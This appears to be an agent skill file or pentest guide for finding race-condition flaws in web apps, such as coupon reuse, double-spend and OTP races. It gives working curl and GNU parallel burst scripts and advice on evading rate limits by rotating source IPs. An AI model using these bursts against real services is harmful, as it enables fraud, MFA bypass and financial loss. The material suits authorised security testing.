What this skill does
Identifies race condition vulnerabilities in web applications by sending concurrent identical requests to stateful endpoints. Detects TOCTOU (time-of-check-time-of-use) flaws, coupon/promo reuse, limit overrun, double-spend, and file upload races by observing whether the application processes multiple simultaneous requests as if each were the only one.
When to use
- When testing endpoints that check a condition then perform an action (balance check → debit, coupon valid → redeem)
- When auditing e-commerce flows: promo codes, gift cards, limited-stock purchases, referral credits
- When checking rate-limit enforcement on sensitive actions (OTP verify, password reset, email change)
- During bug bounty or penetration testing of financial or transactional features
Prerequisites
curlinstalled- GNU
parallelinstalled (apt install parallelorbrew install parallel) - Two test accounts on the target (attacker account with a redeemable asset, e.g. a coupon code)
Inputs
| Variable | Description | Example |
|---|---|---|
TARGET_URL |
Endpoint to test for race condition | https://example.com/api/coupon/apply |
AUTH_TOKEN |
Bearer token or session cookie for the test account | eyJhbGci... |
REQUEST_BODY |
JSON body for the POST request | {"code":"PROMO123"} |
CONCURRENCY |
Number of simultaneous requests to send | 20 |
Workflow
Step 1: Identify stateful operations
Review the application for endpoints that:
- Check a value then modify it (balance, coupon validity, stock count, rate limit counter)
- Return different results on first vs. subsequent calls (one-time tokens, limited-use codes)
- Touch shared state without explicit atomic operations
Common targets:
POST /api/coupon/apply
POST /api/credits/spend
POST /api/order/place
POST /api/otp/verify
POST /api/transfer
POST /api/promo/redeem
Step 2: Craft the concurrent request burst
TARGET_URL="https://example.com/api/coupon/apply"
AUTH_TOKEN="YOUR_BEARER_TOKEN"
REQUEST_BODY='{"code":"PROMO123"}'
CONCURRENCY=20
# Create a function for a single request
do_request() {
curl -s -o /tmp/race_response_$1.txt -w "%{http_code}" \
-X POST "$TARGET_URL" \
-H "Authorization: Bearer $AUTH_TOKEN" \
-H "Content-Type: application/json" \
-d "$REQUEST_BODY"
}
export -f do_request
export TARGET_URL AUTH_TOKEN REQUEST_BODY
Step 3: Send concurrent burst with GNU parallel
echo "Sending $CONCURRENCY concurrent requests..."
# GNU parallel: launch all requests at the same time
seq 1 $CONCURRENCY | parallel -j $CONCURRENCY do_request {}
echo ""
echo "=== Response summary ==="
for i in $(seq 1 $CONCURRENCY); do
echo "Request $i: $(cat /tmp/race_response_$i.txt 2>/dev/null)"
done
Step 4: Compare responses and detect state inconsistency
echo ""
echo "=== Analyzing responses for race condition indicators ==="
SUCCESS_COUNT=$(grep -l '"success":true\|"applied":true\|200' /tmp/race_response_*.txt 2>/dev/null | wc -l)
echo "Requests reporting success: $SUCCESS_COUNT / $CONCURRENCY"
if [ "$SUCCESS_COUNT" -gt 1 ]; then
echo "[VULNERABLE] Multiple requests succeeded — race condition confirmed"
echo " Stateful operation was not atomic"
else
echo "[LIKELY SAFE] Only one request succeeded (or none)"
fi
# Show unique response bodies to spot differences
echo ""
echo "=== Unique response bodies ==="
sort -u /tmp/race_response_*.txt 2>/dev/null
Step 5: Verify state inconsistency on the server
# After the burst, check the account state via a read endpoint
# Replace with the actual balance/history endpoint for the target
BALANCE_URL="https://example.com/api/account/credits"
echo ""
echo "=== Post-race account state ==="
curl -s "$BALANCE_URL" \
-H "Authorization: Bearer $AUTH_TOKEN" | python3 -m json.tool
# Expected (safe): only one redemption recorded
# Vulnerable: multiple credits applied, negative balance, or usage count > 1
Step 6: Document impact
echo ""
echo "=== Impact assessment ==="
cat <<'EOF'
Race condition classes and typical severity:
Coupon/promo reuse (TOCTOU) -> Medium/High (financial loss to platform)
Double spend (credits/balance) -> High/Critical (funds created from nothing)
Limit overrun (rate limits) -> Medium (bypasses per-user quotas)
File upload race -> Medium/High (bypasses AV scan window)
OTP/token race -> High/Critical (MFA bypass)
Chain opportunities:
Race + coupon reuse -> infinite credits -> High
Race + balance check -> negative balance -> Critical (if funds are real)
Race + OTP verify -> MFA bypass -> Critical
EOF
Done when
- Concurrent burst was sent with at least 20 parallel requests
- Response summary shows whether more than one request succeeded
- Post-race server state was checked and compared to expected single-use behavior
- Impact is classified by race condition type
Failure modes
| Symptom | Cause and resolution |
|---|---|
| All requests return 429 Too Many Requests | Rate limiting by IP. Use --interface to rotate source IPs, or test from within the app's trusted network |
| GNU parallel not installed | Install with apt install parallel or brew install parallel. Alternative: use xargs -P 20 |
| Only one request ever succeeds regardless | Server uses atomic DB operations (SELECT FOR UPDATE, Redis SETNX). Document as mitigated |
| Responses are identical but state is wrong | Check the account state endpoint directly — some servers return cached success responses |
| Race window too small | Increase CONCURRENCY to 50. Try Burp Turbo Intruder with last-byte sync for tighter timing |
Notes
- The race window (time between check and use) is often only a few milliseconds. GNU parallel with
seq | parallelgives good timing alignment for HTTP/1.1 targets. - For HTTP/2 targets, Burp Suite's Turbo Intruder with the
race-single-packet-attacktemplate achieves single-packet synchronization and is more reliable. - Always test with a dedicated test account and a coupon/credit that you own. Never test against real user funds.
- A server that uses database-level atomic operations (e.g.
UPDATE balances SET amount=amount-? WHERE amount>=?) is correctly mitigated; a single affected row means the race was won at most once.